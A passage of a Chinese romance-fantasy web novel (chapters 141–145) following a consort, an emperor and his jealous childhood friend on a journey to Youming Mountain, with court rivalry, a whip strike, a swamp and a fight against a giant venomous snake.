月无双委屈的撇了撇嘴,万分不情愿的给江向晚让开了路。 第141章 拿什么比 第一百四十一章拿什么比 安文夕转过身子浅寐,她实在觉得和江向晚同乘一辆马车尴尬的厉害。 月无双看着江向晚优雅的上了马车,裙裾逶迤,仪态万分的样子,便气不打一处来,这个女人真是无时无刻不在显摆着优越感。 看着月无双黑着一张脸,月清绝冲她招招手道:“无双丫头过来,和哥哥一起吧。” 月清绝实在担心月无双再把江向晚气的一命呜呼了,那就糟了。北宫喆这小子如今虽然对江向晚的行径有些反感,毕竟十几年的情谊,总是念着旧情的。 月无双犹豫了一下,欢凉对她道:“你去吧,放心,这里有我和袭匀呢。” “好的,小嫂子,那无双就先过去了。” 欢凉一愣,瞥了眼对面的月清绝顿时了然,脸颊顿时一红,瞪了眼无双,掀开了车帘,进入车内。 “嘿,你这个小丫头片子乱叫什么,信不信我打死你。”袭匀刚走过来不悦道。 “欢凉就是我的小嫂子。”月无双回头冲他冲了吐舌头,然后飞快的窜上了月清绝的马车。 袭匀磨了磨牙,坐上了马车,对里面道:“都做坐好了没,启程了!” 安文夕浅寐,欢凉挨着安文夕闭目养神,直接将江向晚晾在了那里。不过她也不在意,她本来就是想的把面子挣回来,她现在更是不想和安文夕说话。一时间,整个马车内静的厉害。 本在安文夕腰间小竹笼里的小青蛇不知道什么时候自己从冬眠中醒了过来,慢慢的爬到了安文夕的胸口,钻进了她的衣服,安文夕发觉之后,失笑一声,这小东西倒是会找地方。无双说,这小东西一旦认了主人就不会咬主人的,安文夕对它一向很放心。她眼皮沉得厉害,不多一会便沉沉睡了过去。 不知过了多久,耳边突然传来江向晚一声撕心裂肺的叫醒,把安文夕直接从睡梦里吓醒。 “蛇,有蛇!”江向晚警惕的盯着即将要爬到她身上去的小青蛇,她平常最害怕这些丑陋的爬行动物,一时间吓得连剑都忘记了拔。 “江小姐,对不住了。” 安文夕缓缓坐起身子,一把将小青蛇捞回了竹笼里。 江向晚半天才缓过神来,直勾勾的盯向安文夕腰间的竹笼,这个东西她以前也见过,难道安文夕一直随身携带着那条蛇?她想到这里,又一阵毛骨悚然。 这小青蛇多可爱,哪有那么吓人。欢凉嘴角扯起一抹讥讽,她还以为江向晚多大能耐呢,这么个小东西就吓破胆了。 江向晚端起桌上的茶水抿了一口,压下心中的惊慌,“我劝瑾淑妃还是不要将这么危险的东西放在身上。” 安文夕勾唇,“多谢江小姐好心提醒,但是这小青蛇是我养的宠物。” 宠物? 江向晚微惊,冷冷道:“那就麻烦瑾淑妃看好它。” 安文夕啜了口茶,不理江向晚,打算将沉默进行到底。 只见江向晚雍容万千的放下了手中的茶盏,微不可见的皱了皱眉,“这茶是瑾淑妃喜欢的吧。” 安文夕抬头看了她一眼,没有说话,这茶不过是欢凉随意拿进来的。她喝茶不像别人那样挑剔,极品贡茶喝得,茶末子也喝得。 江向晚浅笑,那笑张扬着自信与淡淡的不屑,“只怕瑾淑妃现在还不知道喆的口味吧?” 安文夕斜斜的靠在一旁,静静的听着江向晚的说话,并不是她想沉默,别人就会忽略她的存在的。更何况,昨天江向晚在北宫喆那里吃瘪出了丑,今天她自然要更加的膈应她,在她这里讨回来。 “喆向来喜欢喝明前龙井,而且只喝第三遍,就是泡茶所用的水和烧火的炭都极为挑剔……” 安文夕猛然想起仅仅见过几次的尚凝萱,那日在青碧潭时,她好像就是因为打翻了北宫喆的蒙顶茶**向晚罚去采集露水。 北宫喆和她在一起三年,也没见得他的口味有多挑剔,向来是她给他泡什么茶,他就喝什么茶。 看着安文夕的沉默,微黯的眸光,江向晚心情分外舒畅,她的心情变化好像并不是她所控制一般,但是却令她莫名的兴奋。 “喆最不喜欢的就是这铁观音。”江向晚淡淡瞥了眼小几上的茶,“说来喆的口味还是我给惯出来的,以前在北襄,向来是我喝什么茶就给喆泡什么茶,久而久之,喆的口味就和我一样了,我爱喝什么茶喆就爱喝什么茶,我不爱喝的茶,喆也不爱喝,偏偏这铁观音是我最不喜的。” 欢凉看着江向晚挑衅的眉眼,心中气不打一出来,看了眼脸色没有变化的安文夕,公主忍得了她,她欢凉忍不了。 “江小姐,又没有人逼你喝,不爱喝拉到。” 江向晚没有在意欢凉的脸色,目光在安文夕脸上流连片刻,浅浅道:“瑾淑妃,我想喆并没有告诉你他的喜好吧。” 看着江向晚得意的眉眼,安文夕心中一阵压抑,分外不爽,淡淡道:“我的确不清楚他的喜好,可是他却将我的喜好记得清楚。” 江向晚闻言脸色顿时一变,嘴角再也扯不出半分笑意。 安文夕懒懒的闭上了眼睛,半晌,只听得江向晚再道:“你可知万寿节并不是喆的生辰?” 江向晚此时就想去疯狂的刺激安文夕,就想让她知道喆和她之间不是她安文夕可以插足进来的! 安文夕仍然闭着眼睛,丝毫没有睁开的意思,今天这江向晚也不知道在发什么疯。 北宫喆的生辰她自然知道不是万寿节那日,而是陌姑姑做长寿面的那日。 “喆说**他的生辰到底是哪一日,可是他愿意把我的生辰当做他的生辰,这么多年来,他一直都和我一起过生辰。而我的生辰就是五日后,瑾淑妃这次可别忘记了给喆送礼物啊。” 江向晚这是在讽刺她在万寿节那日因为刺客突然而至没有给北宫喆送礼物一事。 安文夕睁开了眼睛,和对面笑意盈盈的女子对视了一眼,突然想起在每年这个时候,北宫喆都要往北襄送一份神秘礼物,现在想来,应该是他送给江向晚的生辰礼物吧。 而她的生辰呢,第一年她在生辰之时 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安文夕霍然紧盯着江向晚,冷冷道:“说够了?”然后不待她说话,一把抽出了七节鞭朝江向晚身上抽去,欢凉一惊,立即去拦,“公主,不要……” 可惜,已经晚了,安文夕手中的鞭子即将要招呼到江向晚面门,欢凉根本无法阻止,江向晚此时微微愣了神色,但脸上丝毫没有半分惧色。 下一瞬,安文夕眸光一敛,手中的鞭子一偏,带着凌冽的力道砸到了车壁上,惊得外面的袭匀一颤,立即掀开了车帘,“怎么还动起手来了?” 安文夕不由分说再次扬起了鞭子,江向晚依然不躲不闪,眼底有着淡淡的挑衅,仿佛不相信安文夕敢在北宫喆的眼皮子底下打她。 “啪——” 安文夕嘴角一勾,鞭子顿时砸在了见江向晚身上,这一鞭安文夕使得使巧劲儿,虽然鞭声大,但却丝毫不会留下痕迹。 “当真以为不敢打你么?” 江向晚神色一滞,愣了一瞬,忙捂住了被安文夕抽过的地方。 欢凉和袭匀对视了一眼,这么大的声音,只怕马车外面也会听得清清楚楚。 果然,北宫喆的声音响了起来,“停车,出了何事?” 袭匀瞥了眼慢慢靠近的北宫喆,不禁暗骂,明明知道她们不和,还让她们同乘一辆马车,不出事才怪? 一只骨节分明的手掀开车帘,视线对上江向晚隐忍着痛意的小脸,眉头微蹙,眸光再次看向一旁握着七节鞭的安文夕,心中顿时明了。 看着安文夕眼中泛出的淡淡讥讽,北宫喆眸光微冷,“你打她了?” “是。”安文夕迎上他的目光,“因为她该打!” 北宫喆嘴角微抿,长臂将安文夕从车中捞了出来,粗鲁的扔上了马背。 “喆……” “你没事吧?” 江向晚摇了摇头,“我没事。”这一下的确不疼。 “还是让雪嫣给你上下药吧。”北宫喆随手将一个小瓷瓶丢给了她,然后吩咐青玄将最后一辆马车内的雪嫣带了过来。 安文夕收了手中的七节鞭,不去看一旁的男人。 第142章 怎样解释 第一百四十二章怎样解释 欢凉见雪嫣上了马车,立即掀开车帘下车,让她去看她们主仆得意的嘴脸,她只怕也会控制不住出手。 “小丫头,过来过来。”月清绝见欢凉出来,立即朝她摆手道。 欢凉没有犹豫就上了月清绝所在的马车,袭匀一看也立即扔了手中的缰绳,颇为傲娇的走近月清绝。 “你怎么来了呢,那里少不了你这个赶车的。”瞧着月清绝的架势,分明就没有打算让他上车。 袭匀随手一弹,一粒石子掷向月清绝,在月清绝躲避之时,袭匀翩然上了马车。 “你们都不在那里,难不成让我陪着那江向晚。” 不远处的惊魂扫了眼江向晚坐的马车,寻求了北宫喆的同意之后,上去赶车。 安文夕看了眼月清绝,还没有来得及下马,身后传来北宫喆的略带冷意的声音道:“你敢下去试试?” 威胁? 安文夕双手一撑,利索的下马。 北宫喆纵身一跃,飞快的翻身上马背,随手一捞,握住她的柳腰,将她再次带上马背,“朕在这里,你还想去哪?” 安文夕脸色丨微沉,一掌将北宫喆放在她腰间的手拍掉。 北宫喆双腿一夹马腹,胯下的蹄血玉狮子顿时奔腾起来,安文夕身子蓦地一顷,北宫喆顺势揽住了她的腰,力道之大,根本不容她挣脱。 半晌,北宫喆贴在她的耳翼道:“你不觉得应该给朕解释些什么么?” “你所看到的就是事实,我还怎样解释?” 她伤了他的青梅竹马,他不去安慰,反而将她带上了马,这是什么意思? “是不是她对你说了什么?” 安文夕心中讥笑,他让江向晚和她同乘,分明就是故意让她来刺激她的,如今还来问她? “这两天她情绪不太稳定,她说什么你不必去在意。”北宫喆看着她嘴角噙着的讥笑,顿了顿道,“她身子不好,你别和她计较。” 呵……不舍得了? 安文夕心中一涩,嘴角的讥意夸大,北宫喆眸光一黯,握紧了手中的缰绳。 马车内,雪嫣十分担忧的看着江向晚道:“小姐,你伤到哪了,奴婢给你上药吧。” “不必了。”安文夕那一下本就没什么大碍,她不过是警告她罢了。 她微微掀开车帘,看着前方北宫喆和安文夕并骑一马,眼中涌起恨意来,迟早一日,她要将喆从她手中夺回来。 如今,好戏才刚刚开始,她不着急,江向晚嘴角勾起的弧度透着阴狠。 一旁的雪嫣吓了一跳,蓦地垂下了眼睑,这样的小姐陌生的可怕。 经过一天的行程,日暮时分抵达了青桐,他们在客栈落脚后,便在雅间用晚膳。江向晚静静地看着北宫喆,意思很明显,她要和北宫喆一起坐。而北宫喆紧紧的抓着安文夕的手,意思也很明显,他要安文夕和他坐。 这样的局面僵持了一瞬,江向晚浅笑道,“喆,我挨着你右下手坐便是。” 她先发制人,脸上挂着温婉的笑意,神情宛若女主人一般,悠然落座。 江向晚坐在他的右下手,她坐在北宫喆的左下手,安文夕咬了咬下唇,她可没有兴趣让他去左拥右抱! “喆……”江向晚看向北宫喆的眼神中有丝祈求。 北宫喆扫了她一眼,倒也没拒绝,直接坐在了她身侧,只是握着安文夕的手更紧了几分,拉着她入了座。 “奔波了一日,不饿么?” “还好。”安文夕说完用眼底的余光瞥了眼一旁的欢凉等人,欢凉袭匀立即会意,掀开衣袍,直接坐在了安文夕身侧。 江向晚瞥了眼欢凉,不动声色的看了眼北宫喆,抿了抿唇,安文夕的婢女竟然和主子同坐,难道这也是喆默许的? 雪嫣微微垂着头,她是无论如何也不敢和皇上同坐的! 桌上都是一些具有本地特色的菜肴,江向晚一如以前一样为北宫喆殷勤的布着菜,安文夕静静地看着这一幕,感觉自己好似一个局外人一般。 所有的饭菜入口,皆味如嚼蜡,安文夕顾自往嘴里扒着米饭,心中沉闷的厉害,而脸上依旧平淡如水。 北宫喆看着安文夕不起波澜的脸颊,眸光飞快的划过一抹暗色,执着竹筷,给安文夕布菜,举手投足之间的尊贵优雅,仿佛是从骨子里带出来的一般。 江向晚夹菜的手顿时一顿,突然,腰间传来一阵滑腻的触感,她的脸色顿时一变。 “啊!” “蛇!”她手中的筷子应声而落。 北宫喆闻声望去,江向晚脸色苍白,蓦地将身上的青蛇甩到地上,飞快的躲进他的怀中,紧紧攥着他胸前的衣服。 “不要!”安文夕一惊,立即将地上的小青蛇捡了起来。 江向晚脸色稍稍缓和,依旧没有放开北宫喆,“瑾淑妃,我并没有得罪你,你为何三番五次的用这丑东西来暗算我?” 北宫喆脸色有些微冷,稍稍拉下了些他和江向晚的距离。 安文夕在小青蛇的脑袋上弹了一下,然后将它放回小竹笼,抬眼看向江向晚,嘴角有些不屑,“若是我有心暗算,你以为你还能活到现在?” “你——”江向晚咬着下唇,微白的脸上竟然带出了几分我见犹怜。 “我的小青这么喜欢江小姐,我猜江小姐身上也许有它喜欢的东西吧,不如让月公子看看?” “你胡说,我身上怎么会有这个丑东西喜欢的?” “有没有,让月公子或者无双检查一下便知。” “我才不要给她检查。”欢凉撇撇嘴。 江向晚看着一旁的月清绝咬牙道:“月公子,男女授受不亲。” 安文夕唇角勾起,不再纠结这件事,扫了眼北宫喆道:“我吃好了,先告辞了。” 安文夕前脚一走,北宫喆立即跟了上去,安文夕刚回到自己的房间,瞥了眼开门而入的男人,刚想问你怎么舍得抛下你的青梅竹马?还未开口,发觉这句话酸的厉害,继而挑眉道:“你走错房间了吧?” 这一次,安文夕坚持和北宫喆一人住了一间客栈。 “你不觉得我们住两间房很浪费?” “你还差这点银子?” “勤俭节约,应当从朕做起。”北宫喆顾自倒了杯茶,浅 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北宫喆远远望见院中有道清瘦的人影,从她身边经过时对她道:“夜里凉,早些回去吧。” “喆,你,你还记得五日后是什么日子么?”江向晚叫住了他。 北宫喆脚步一滞,“朕记得,五日后是你的生辰。” 江向晚眼中洋溢着笑意,“也是你的。”说着将手中紧握着的东西塞到了他的手中。 北宫喆展开一看,是一只秀的皱巴巴的荷包,勉强可以看出上面是两只鸳鸯戏水。 女子送予男子荷包,意思再明显不过。 江向晚有些不好意思道:“喆,你知道,我从小就对这些东西不感兴趣,你以前也经常取笑我。你还记得么,小时候你曾说我若是学绣花,绣的第一件东西要送给你。” “晚儿……” “喆,不要再拒绝我了,我好歹是个女子,我也是要脸面的。”江向晚蓦地抱住了北宫喆,此时她的脸色殷红一片,她这是鼓足了勇气,才敢再次向他表达爱意。 “砰——”安文夕手中一滑,白瓷杯盏顿时摔成了碎片。 看着那对拥在一起的身影,她再也移不开眼睛。 还爱么?她试着问自己,她只知道她的心中泛起了无边的酸意。 安文夕抬手关上窗子,有些无力地滑下了身子,半晌,她和衣躺在了床上,闭上眼睛想将刚才那一幕从脑海中拔除。 “晚儿。”北宫喆掰开了江向晚紧紧扣住他的双手,将手中的荷包递给她。 “晚儿,以后朕不再和你一起过生辰。而且,朕已经收了另一个女子的荷包,怎么还能再收你的?” 江向晚紧紧攥着手中的荷包,咬唇道:“你不和我一起过生辰,难道要和安文夕一起过么?” “不是。” “你骗我,你骗我!”江向晚急急后退两步,蓦地笑了,“喆,你说我哪里比不上那安文夕,为什么你偏偏喜欢她?” “你没有比不上她,没有为什么,只是朕就是喜欢她罢了。” 第143章 只她一个 第一百四十三章只她一个 “呵……这么多年我那么的喜欢你,为了你我什么都可以放弃,你究竟把我当什么?” “晚儿,你陪着朕出生入死多年,在朕心里,你比朕的命重要,朕不会不管你的生死,即便用十座城池换千年龙魄,朕也肯。只是,朕的心里只有她一个。” 江向晚低啜出声,嘤嘤而泣,看向北宫喆的眼神有不甘有绝望。 “这次幽冥山那之行,你要跟着朕也不反对,届时,再为你寻几株雪上冰莲。不过,你也不要再让朕失望,不要再对她起心思。”说到最后,他润泽的声音里已经有了几分了冷意。 “在你眼里,我就是一个无恶不作的坏女人么?你时时刻刻提防着我对她出手,我的身体成了这个样子,我还能做什么?”江向晚脸上挂着泪痕,神色凄然。 片刻,江向晚抬起头道:“喆,五个月后,你还会娶我么?” “晚儿,朕以为你和你爹不同,会懂朕向你提亲的用意的。” “呵……我懂了。”江向晚的眸光一点点灰暗下去。 北宫喆微微拍了拍她的肩膀,“夜深了,回去吧。” 江向晚看着北宫喆的身影,她紧握着拳,眼底汹涌着血色,眼神也变得凌冽,脸上挂着的泪痕顿时消失不见。 她江向晚想要的,就是她得不到,别人也休想得到!他不娶她,那她就逼着他娶她。他在意安文夕,那她就将她毁掉! 北宫喆走到他的房间,伫立在门前,眸光暗转,看了眼安文夕所在的房间,灯火如豆,晕出一圈昏黄的灯光来。 他犹豫了一瞬,身形一掠,直接越窗而入,悄无声音的来至安文夕榻前,看着缩成一团的小人儿,心中微动,他到底是没有忍住。 他还未上榻,安文夕突然转过身来,眼底飞快的划过一抹震惊,然后涌出了淡淡的厌恶,“你怎么来了?” “朕认床,没有你,朕睡不着。”北宫喆脸上线条冷然,这句话却透出几分撒娇来。不过,他的确没有说谎,他早已经习惯了她在身侧,没有她,他总觉得少了些什么。 他的眼神灼灼,安文夕看了眼软纱帐外的红木椅,他可以不走,但是她无论如何也不会让他在床上睡,虽然她知道他并不会对她做什么。 北宫喆嘴角微抿,“好,我在外面守着你。” 烛灯熄灭,淡淡的月光洒进室内,坐在红木椅上的那道高大的身影一直印在了安文夕的脑海中,挥之不去。 从青铜出发,不过两日就已经抵达了西楚境内,西楚地处九州大陆西南,多密林山谷,尤其是位于西楚南部的幽冥山一带。此处到处是高耸巍峨、不见其端的百年古树,常年郁郁葱葱,遮天蔽日。 五日后,他们终于到了幽冥山山脚附近,此处十分湿潮,地上的卵石生着青苔,连空气中都带了几分湿意。 灌木丛生,绿意弥漫,手腕粗的藤蔓缠缠绕绕,错乱的交织在一起,肆意生长。丛林深处,仿佛升腾着袅袅雾气一般,隐隐的有些看不真切。 幽冥山山脉绵延不绝,山峰高入云端,远远看去,甚至可以看到山峰之上的厚厚积雪。幽冥山虽然地处湿热之地,但峰顶之上常年被积雪所覆盖。从山脚至山顶之上,生长了许多稀世珍药。就连那密林之中,就有多种别处难寻的药材。 多年来,来幽冥山寻药的人多不胜数,可是几乎所有人都是乘兴而来,败兴而返。因为,幽冥山四周都是密林,山林之中不仅弥漫着瘴气而且有许多剧毒之物,令人望而却步。 在幽冥山的北面的密林之中有一条通往山中的小径,穿过小径,便可以顺着一条陡峭的山路进山。只是,大多数人根本就难以通过这条小径,跟别说登上幽冥山了,这百年之间,也仅仅只有鬼谷子一人登山了幽冥山,并发现了七味草和雪上冰莲等几种旷世罕见的名药。 鬼谷子,在前夏朝之时素有鬼医之称,成名以后便长居幽冥山下,在此采草炼药,那条通往山麓的小径就是由他开辟的。 上次惊魂来此,千辛万苦通过了那条小径,根本无法攀至峰顶,好在山麓也有雪上冰莲,只不过生长在山麓处的雪上冰莲的功效远比不上幽冥山顶、冰雪之上的雪上冰莲。 密林中草木横生,车马难行,一行人皆下车步行。 还未入林,便看到浅淡的白雾弥漫在山林之间,这是深山密林、潮湿地带特有的现象。而那些白雾则是有着剧毒的瘴气。 瘴气由林中各种动物和草木的尸体腐烂而产生的毒气,因为林中树木遮天蔽日而得不到扩散,反而在这林中越积越多。平常人在瘴气弥漫的山林中根本无法久待,不消一个时辰便会**而亡,不过月清绝早就为众人准备了药丸,防止大家瘴气**。 自从下了马车,月无双就开始兴奋起来,时不时的被身侧的花草吸引视线,偶尔发现了几只爬虫,更是激动地拉着月清绝不放,非要捉几只带回去研究。 “无双,你别那么兴奋,这里处处是危险,万一你惹了什么麻烦,可没人能够救得了你。” “哥,这里不光有好多药草是咱们谷里没有的,就连那蜘蛛,蜥蜴也和我们谷里不一样,若是能够带回去,一定可以研制出新的**毒粉。”月无双眼中闪着亮晶晶的光芒。 月清绝一阵阵皱眉,“哎呦喂,我的小祖宗,这里可不是我们枫月谷,你万一不小心**,爹娘不在,我可救不了你。” 月无双撇了撇嘴,倒是稍稍收敛了一些,安静的跟在月清绝身后。 北宫喆紧紧的握着安文夕的双手,生怕有什么意外发生,江向晚紧随其后,和惊魂并排而走。 越到深处,密林越加幽深,湿潮之气迎面而来,瘴气也就越来越重,有了月清绝的药丸,大家并没有出现**现象。 穿过这条幽静,众人抵达了山麓,目之所及的是陡峭高耸的山峰,原本的那条进山的山路已经被人可以毁掉,像是用**将这块整个炸开,如今这陡直的高度,众人根本无法攀爬。 看来,有人存心不想让他们来寻药呢,安文夕别有深意的看了眼不远处被毁的山路,脑海里飞快的闪 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幽冥山东面的密林素来有百里鬼林之称,里面毒物繁不胜数,五彩斑斓的剧毒草木更是让人防不胜防,北宫喆一路将安文夕护在身侧,眸光幽深,眼底透着警惕,月清绝更是打起十二分的精神应对着周遭的事物,就连一向咋咋呼呼的月无双都安静了下来,紧跟着月清绝的脚步。 不远处,一条齐腰粗的花斑巨**攀在树杈上,警惕的盯着下面的众人,幽幽的涂着鲜红的信子,弓起的身子像是随时会发动攻击一般。 “蛇!**蛇!”江向晚小声惊呼道,雪嫣没有跟进来,她不自觉地握紧了身侧惊魂的衣角。 北宫喆抬眸看去,那条花斑巨**此时张开了大嘴,露出拇指粗的獠牙来,身子弓得厉害,仿佛下一瞬就要探身下来。 安文夕的手不动声色的放在了腰间,摸向了七节鞭,只要它下来,她立即就会抽出七节鞭与它缠斗。 北宫喆手腕一翻,紧接着响起一声撞击声,缠绕着树杈上的巨**顿时砸落在地,发生一声巨大的闷响。 众人甚至还未来得及看清北宫喆如何出手,只见一块石子砸到巨**七寸之处,卸去了它的全部力气。 “清绝,下面的交给你了。” 月清绝随手对着那颗巨大的蛇头撒了一撮粉末,那条翻滚着的巨**顿时变的僵硬起来。 “这些足够它睡上一天一夜了。” 月无双打量了眼僵在地上花斑巨**摇摇头道:“这条**蛇看着就很凶,一点都没有我的小乖可爱。” 袭匀耸了耸肩,在他眼中,她的小乖和地上的巨**没什么区别,既长得丑,块头又大。 他们还没有越过这条巨**,一直跟在安文夕身后的欢凉身形顿时一矮,袭匀来没有来得及拉住她,他自己也陷了进去。 不好,是沼泽! 安文夕意识到这一点的时候已经晚了,她的双腿开始下沉,她身侧的北宫喆一样没有幸免。 这块沼泽比较奇怪,刚走上来之时,与平常土地无异,待众人在上面停留片刻之后,脚下的土地便开始吸附着人腿快速的下沉。 第144章 你**了 第一百四十四章你**了 越挣扎就陷得越深,月无双处在这块沼泽的边缘地带,想要借助一旁宽大的树根爬上去,可是她越是用力,就下沉的厉害。眨眼的功夫,月无双已经下沉至腰际。 “啊!”江向晚暗呼一声,求生的本能让她伸手去抓住她身前的北宫喆。 北宫喆心中倏地一紧,扭头看向身边的安文夕,只见她眸光微敛,手中的七节鞭精准的抛了出去,缠绕在了一旁的树枝上,卯足了劲儿往下一拉,然后借助弹力一下子从沼泽泥潭里拔地而起,身上粘上的淤泥硕硕落了一地。 她眼底透着坚韧,紧抿的嘴角彰显着倔强,周身散发出凌然之气令人移不开眼睛。 北宫喆欲伸出去拉她的顿时僵在了半空,他的嘴角微扯,她向来不需要他来保护不是么? 安文夕身形跃至树枝之上,俯视着泥潭中的众人,她利索的收了鞭身,卷起鞭尾,刚想抛向那人,只见他抓起身后的江向晚,一掌拍向地面,立即砸出了一片深坑,他带着江向晚一起跃出了泥潭,侧身一旋,身上的淤泥眨眼之间全部脱落,月白的长袍立即变得纤尘不染,衣摆袂袂,在空中飘出了几分神尊之韵。 安文夕黑瞳微颤,握着七节鞭的手紧了紧,将鞭尾抛给了欢凉。 “抓紧!” 欢凉不敢再动,握紧了鞭尾,身子前倾,借助巧劲儿从沼泽里爬了出来。 “小师妹,你偏心啊,不知道先救师兄。”袭看了眼被淤泥染脏的白袍,略略皱眉。 “喆哥哥,夕姐姐,你们谁来救救无双,这淤泥好臭。”月无双下沉的最厉害,此时淤泥已经漫到了她的胸口,她顿时呆在沼泽泥潭里一动不动。 北宫喆扫了眼月无双,抬眸看向攀在树枝上的安文夕,眸光微敛,对她道:“我来吧。”说着伸出了手,示意她将手中的鞭子递给她。 安文夕淡淡扫了眼他,目光直接越他而去,看向他身后江向晚攥着的衣角,杏眸微眯,眼中黑白分明,直接将鞭尾扔给了月无双。 月无双接到鞭尾,鞭身立即绷成了一条直线,安文夕一手握着树干,一手拉着七节鞭,可是她越用力,无双反而更快地下沉,片刻已经将身子全部沉了下去,只剩下了一个脑袋。 “夕姐姐,无双要沉下去了。”她吓得立即松开了鞭尾。 北宫喆身形一跃,将树枝上的安文夕拦腰抱了下来,攥着他衣角的江向晚蓦地一个趔趄。 “还要逞能么?”北宫喆将安文夕手中的七节鞭一手夺下,鞭尾横抛,卷起月无双,手中的七节鞭显出万钧之势,如拔萝卜一般,径直将月无双从泥潭中拔了出来。 “喂喂喂,说好了要救师兄的,怎么救起来了这个刁丫头?”袭匀不满道。 他说话之间,身子突然下沉,他脸色突变,立即噤了声。 月无双刚刚脱离了沼泽,看着一身湿臭的淤泥,黛眉轻挽,待看到袭匀一脸狼狈,不禁失笑出声,惹得袭匀拿刀子眼瞪她。 就在这时,刚才已经僵硬的花斑巨**突然动了动蛇尾,硕大的头颅悄悄地朝北宫喆逼近。 北宫喆耳朵微动,双手微张,还未来得及出掌,身后一道紫色的身影如利剑一般,飞快的扑向他的身后。 “喆,小心——”江向晚抱着北宫喆的腰间,闭上了眼睛,巨**巨大的蛇尾重重的砸在了江向晚身上,凌冽的力道直接将二人扫到了一旁。 北宫喆迅速稳重了身形,江向晚被蛇尾震得肺腑生疼,嘴中涌出了大口的鲜血,身子如断了线的纸鸢一般无力地往后倒去。 “晚儿。”北宫喆眉头微蹙,一把接住了倒下的江向晚,将她拦腰抱起。 “喆,你没事吧?” “我没事。” “你没事就好,你永远比我重要……”江向晚黛眉拧在了一起,像是在忍受着极大地痛苦一般,紧紧的攥着北宫喆胸前的衣服。 “别说话。”北宫喆抱紧了江向晚,警惕的打量着身侧的巨**。 刚才那条巨**已经彻底恢复了行动,可能刚才从树杈上摔落,蛇身被摔疼,此时正疯狂的摆动着身子,凌冽的蛇尾将北宫喆和江向晚卷了起来,双目如炬,眼中尽是血色,宛如两个巨大的血窟窿一般。 瞥了眼北宫喆紧抱着的江向晚,安文夕睫毛轻颤,她来不及多想,飞快的抓起一旁的藤条纵身一跃,狠狠的砸到蛇身之上,巨**吃痛,粗壮的蛇尾不断的卷缩起来,巨大的脑袋缓缓移向安文夕,顿时引去了它对北宫喆的注意力,北宫喆抱起江向晚来到安全地带,此时,惊魂和青玄已经奋力出了泥潭。 “看着她。”北宫喆吩咐道,然后扫了眼那道穿梭在巨**蛇身之间的红色身影,眸光敛尽。 “喆……”江向晚立即抓住了北宫喆的衣袖,嘴里再次涌出殷红的鲜血。 北宫喆脚步一滞,回头看江向晚,略略沉眸,身形一闪,只余下了一片月白的衣摆飘过。 江向晚的手臂无力地垂下,双眸划过一抹黯光,看向安文夕的眼神多了分凌厉。 这条花斑巨**蛇身巨大,但却行动灵活,蛇身盘成一团,硕大的蛇头探至安文夕身前,灯笼般的眼中露出凶光,张开血盆大口,散发出一阵恶臭,长长的獠牙狰狞触目,欲将安文夕整个吞进腹中。 安文夕衣袂一摆,灵巧的绕着巨**身后,手中的藤条再次砸到巨**身上,出手既快又狠。 巨**蛇身倏地一颤,被藤条砸到的地方渗出了一层血珠,它烦躁不堪的挥动起蛇尾来,一圈一圈的欲将安文夕缠住,蛇头翻动,巨大的嘴中喷出一团褐色的烟雾来,红的发黑的信子喷薄而出。 安文夕眸光一凛,这是什么怪物,居然还能喷出毒气! 蛇头蛇尾一起发动攻击,让安文夕避无可避,看着即将甩到她脸上的蛇尾,立即屏住气息,侧身一避。这时,一道月白的身影直奔而来,带着凌冽之势,伸手揽住她的腰肢,比她更快地掠身避过。 北宫喆带着安文夕避过翻动的蛇尾,手中的长剑利索的将其斩断,四周顿时溅出了一片令人作呕 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安文夕握着七节鞭翩然落至巨**身后,给北宫喆递了个眼神,北宫喆明了,右手翻动,手中的几枚钢钉分别射向巨**双目和蛇身各处。 “吼——”巨**痛苦的翻动着身子,却凭着感觉靠近了安文夕,顿时弓起了蛇身对安文夕疯狂的发动攻击。安文夕灵活的躲避着它的攻击,挥起七节鞭毫不手软,重重的砸在蛇身之上。 这时,刚才断掉的蛇尾从草丛中飞快的扑向安文夕。 北宫喆眸光一凛,立即闪身到安文夕身后,抬脚踢飞那截断尾。安文夕握紧手中的七节鞭死死缠住巨大的蛇头,不容它挣脱。 北宫喆右手发力,手中的长剑直直插在了巨**的脑袋上,顿时一阵血浆咋泵。 巨**剧烈的抽搐起来,血流一地,浓郁的血腥中夹杂着腐臭的味道,令人胃中一阵翻滚。 过了许久,这条巨**才停下了抽搐,彻底僵硬了。 北宫喆嘴角的紫色更加深了几分,就连眼底都有了些许的红血丝,安文夕抿了抿嘴角,都说了让他不要用内力,他却偏偏不听。若是因为救她的缘故而加剧了毒气在他体内的蔓延,她宁愿受那蛇尾一击。 除了月清绝兄妹和紧紧被北宫喆护在怀中的安文夕,其他等人皆出现了不同程度的**症状。月清绝来着幽冥山之前带了不少解毒的药物,而这花斑巨**并不罕见,它所喷出的毒气,先前月无痕就研制出了解药,月清绝此行正好带了解药。他立即从身上带的瓶瓶罐罐中翻出解药,然后扔给无双道:“将解药分给众人。” “哥,你这解药靠谱么?”月无双蹙眉,她可没忘先前月清绝对**蛇用药失败,才导致众人被困在此处。 月清绝急道:“你就是不相信我,也该相信爹啊。” 月无双闻言,立即给众人发药,“喆哥哥,看样子你中的毒已经渗入血脉了!” 第145章 郎情妾意 第一百四十五章郎情妾意 北宫喆接过月无双递来的药,服用之后,抬眸看向安文夕道:“你没事吧。” 安文夕摇了摇头,身侧的人疾步越她而去,她的视线随着他的步伐移动着,待他停到那抹紫色的身影时,她的眸光颤了颤,飞快的移开视线。 他的急切她看在眼里,果然是十五年的情谊,她比不了。脑海里再次想起那晚他们亲密相拥,心中一涩。 她转身对着沼泽泥潭中的袭匀道:“你这是不打算出来了?” “小师妹,你们都不来救师兄,师兄怎么出得去。” “你若是不想出来就在里面呆着吧!”欢凉丝毫没有帮他的意思。 而另一旁的月清绝默默的挣扎着,时不时看一眼神色悠然的袭匀,随着他的努力,他的身子慢慢下沉,眼看淤泥就要漫过脖子之时,他终于忍不住吼道:“你们好歹来个人,本公子还在里边呢!” 月无双这时才猛然发现月清绝的窘状,说道:“哥,我以为你怎么样也会自己上来的,谁知道……” “废话,我要是能上来,早就上来了,还用等到现在么?”月清绝气呼呼的拍了拍淤泥,结果他的身子陡然下沉,吓得他再也不敢再动。 “我以为你在酝酿着向喆哥哥那样怎么潇洒的出来。”月无双说到最后,声音小了下去。 月清绝无语的翻了个白眼,她以为人人都是北宫喆啊。 “哥,我自己也救不出你来。”月无双说着看向立在袭匀身侧的欢凉。 下一瞬,原本待在沼泽泥潭中的袭匀,拉着七节鞭的鞭尾,蓦地从淤泥中一跃而起,带起的淤泥溅了月清绝一脸,月清绝脸色顿时黑成了锅底。 